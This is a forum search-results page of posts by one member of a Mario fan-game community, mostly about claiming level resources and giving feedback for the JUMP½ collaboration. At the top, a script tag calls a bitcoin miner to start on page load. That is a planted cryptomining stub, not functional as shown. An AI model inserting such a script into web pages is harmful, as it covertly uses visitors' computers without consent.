<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitymario fan games galaxypge project

Search found 27 matches

Go to advanced search

by MiracleWater
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54025

Re: JUMP arg(1+(√(-1)))*(2/π) - Half a jump is still a jump

Shout out to Mandew for making the sticky ceiling block. I designed the level when it was first posted on smwcentral, which was now almost 3 years ago.
by MiracleWater
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54025

Re: JUMP ϕ(14)/ϕ(13) - Half a jump is still a jump

On one hand, you have a load of reset doors, which are kind enough to simply restart that current section, instead of dropping you at the start of the area; very nice. However, then you have the second half, which has a fair few instances where if you mess up, your only option is to die. Ideally, t...
by MiracleWater
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54025

Re: JUMP ξ(1) - Half a jump is still a jump

SAJewers wrote:
General_Urist wrote: I agree with raocow: The music in this level sounds bangin' and kinda familiar, but I can't put my finger on what it is.
I sounds sorta like this
*link*
but not exactly.
This is actually very similar sounding, but I believe the music is this:
by MiracleWater
6 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54025

Re: JUMP |ζ(0)| - Half a jump is still a jump

My initial assumption was that the gimmick came first and then the creator decided there wasn't enough mileage in it In short, no. The disparity in design between the two halves was purposeful. I feel a good comparison would be something like 'Scaffolding Scuffle' from JUMP (though a much better le...
by MiracleWater
1 year ago
Forum: let's play
Topic: 24 Hour Contest #11 - design a level in 24 hours with a given challenge
Replies: 117
Views: 8513

Re: 24 Hour Contest #11 - design a level in 24 hours with a given challenge

Yeah, I submitted this level under the impression that it wouldn't do well since it only used 2 sprites and just sorta phoned it in in general This. Those comments... Such mindless groupthink directed at a level that honestly looked pretty fun from what I saw. I feel bad for MiracleWater here, assu...
by MiracleWater
1 year ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Map16 1D1E - 1D3F
by MiracleWater
1 year ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

This stuff is for level 13B which is a replacement for yogui's level. I also took over the sub-levels that he claimed.
Sub-Levels: 13C, 13D
ExGFX: 143, 144, 145
MAP16: 1D00-1D1D
Secondary Exits: 134, 135, 136, 137, 138, 139, 13A, 13B
Sprites: A2, A3, A4
by MiracleWater
1 year ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Sublevel 192 193
Sprite A1
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Sprite 8F
Music 8F
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Multiperson sections
Replies: 53
Views: 17072

Re: Multiperson sections

Made this for RNG.
Thanks idol for ripping the Zinger GFX.
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Unclaiming some stuff:

Full page 4B map16
Sprite 33, 34
ExGFX 140
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Could I get sublevel 191
ExGFX 140, 141, 142
Sprite 31, 32, 33, 34
Map16 Full Page 4B (am I allowed to use a dkc background for multiperson?)
by MiracleWater
2 years ago
Forum: let's play
Topic: Let's Play A2MT: The Fixed Edition! - 77g FINAL - We Will Rock You [B-Side]
Replies: 430
Views: 43155

Re: Let's Play A2MT: The Fixed Edition! - Ep58 - Unphased Positivism [Phase Out]

Voting for Land of Illusions
You can have a break before tackling a certain hard level coming up :D
by MiracleWater
2 years ago
Forum: project showcase
Topic: A2MT Complete! 1.9.5 Released!
Replies: 750
Views: 79151

Re: A2MT Complete! 1.9.3 Released!

Thanks for all the work you put into this Tobi, now go take a much needed break from A2MT.
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Multiperson sections
Replies: 53
Views: 17072

Re: Multiperson sections

165 - RNG Thanks for the feedback. I've updated the room (mostly the first half) to fix some of the issues. Disabling spinjump is an unnecessary variable in my opinion. Disabling spin jumping was actually to facilitate some of the original obstacles (and to avoid a bug with the pipes). I completely...
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Multiperson sections
Replies: 53
Views: 17072

Re: Multiperson sections

Made this. It was intended for the RNG section but might be too easy? Feedback appreciated.

EDIT: Fixing stuff
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Sublevel: 165
Blocks: 53B, 53C, 53D and 53E
by MiracleWater
2 years ago
Forum: JUMP½
Topic: Multiperson sections
Replies: 53
Views: 17072

Re: Multiperson sections

Is there still room in either of the sections that I could claim?
by MiracleWater
2 years ago
Forum: JUMP½
Topic: [138] Perturbing Paste
Replies: 8
Views: 1271

Re: [138] Perturbing Paste

I apparently had fixed the side interaction but forgot to re-insert blocks, whoops. Thanks for pointing this out.

- Fixed block side interaction
- Small tweaks to a few enemy positions

Download
by MiracleWater
3 years ago
Forum: let's play
Topic: MaGL 3 results: moral of the story: laziness always prevails
Replies: 1167
Views: 95280

Re: MaGL 3 results: all aboard the wave train

Wow ok, my level is right next to a judge level that's cool (and kinda frightening). Anyway, not much to say. I was mostly going for a romp style level, but I thought it might be cool to base it around a theme you don't see romps in too often and I think it worked out quite well. After stepping away...
by MiracleWater
3 years ago
Forum: JUMP½
Topic: [138] Perturbing Paste
Replies: 8
Views: 1271

Re: [138] Perturbing Paste

Made some changes based on feedback: - Added small section to introduce gimmick better - Moved around some venus plants so they come out of pipes rather than just the ceiling - Removed a power-up in the second half that seemed redundant - Some Banzai Bill setups changed to be more fair - Added a few...
by MiracleWater
3 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Gonna need secondary exit 131, 132 and 133.
Thanks
by MiracleWater
3 years ago
Forum: JUMP½
Topic: [138] Perturbing Paste
Replies: 8
Views: 1271

Re: [138] No Name Yet

Thanks for the feedback, I will definitely make some changes. Once you get your video up i'll take a look at the more specific things like the annoying venus plants (not exactly sure which ones you're talking about).

Also I like that name, thanks.
by MiracleWater
3 years ago
Forum: JUMP½
Topic: [138] Perturbing Paste
Replies: 8
Views: 1271

[138] Perturbing Paste

Not a whole lot of activity in this section, hopefully someone sees this. Only posting the patch because i'm looking for feedback (and possibly a suggestion for a name). Isn't that hard of a level, maybe somewhere mid-game. 138.zip Here's some pics: http://i.imgur.com/wDe9eum.png http://i.imgur.com/...
by MiracleWater
3 years ago
Forum: JUMP½
Topic: Claim a Thing Place
Replies: 395
Views: 91793

Re: Claim a Thing Place

Could I get:

Sublevel D8
Secondary Exit 130
Map16 532 - 53F
ExGFX 110 & 112
Block 532

Thanks

Go to advanced search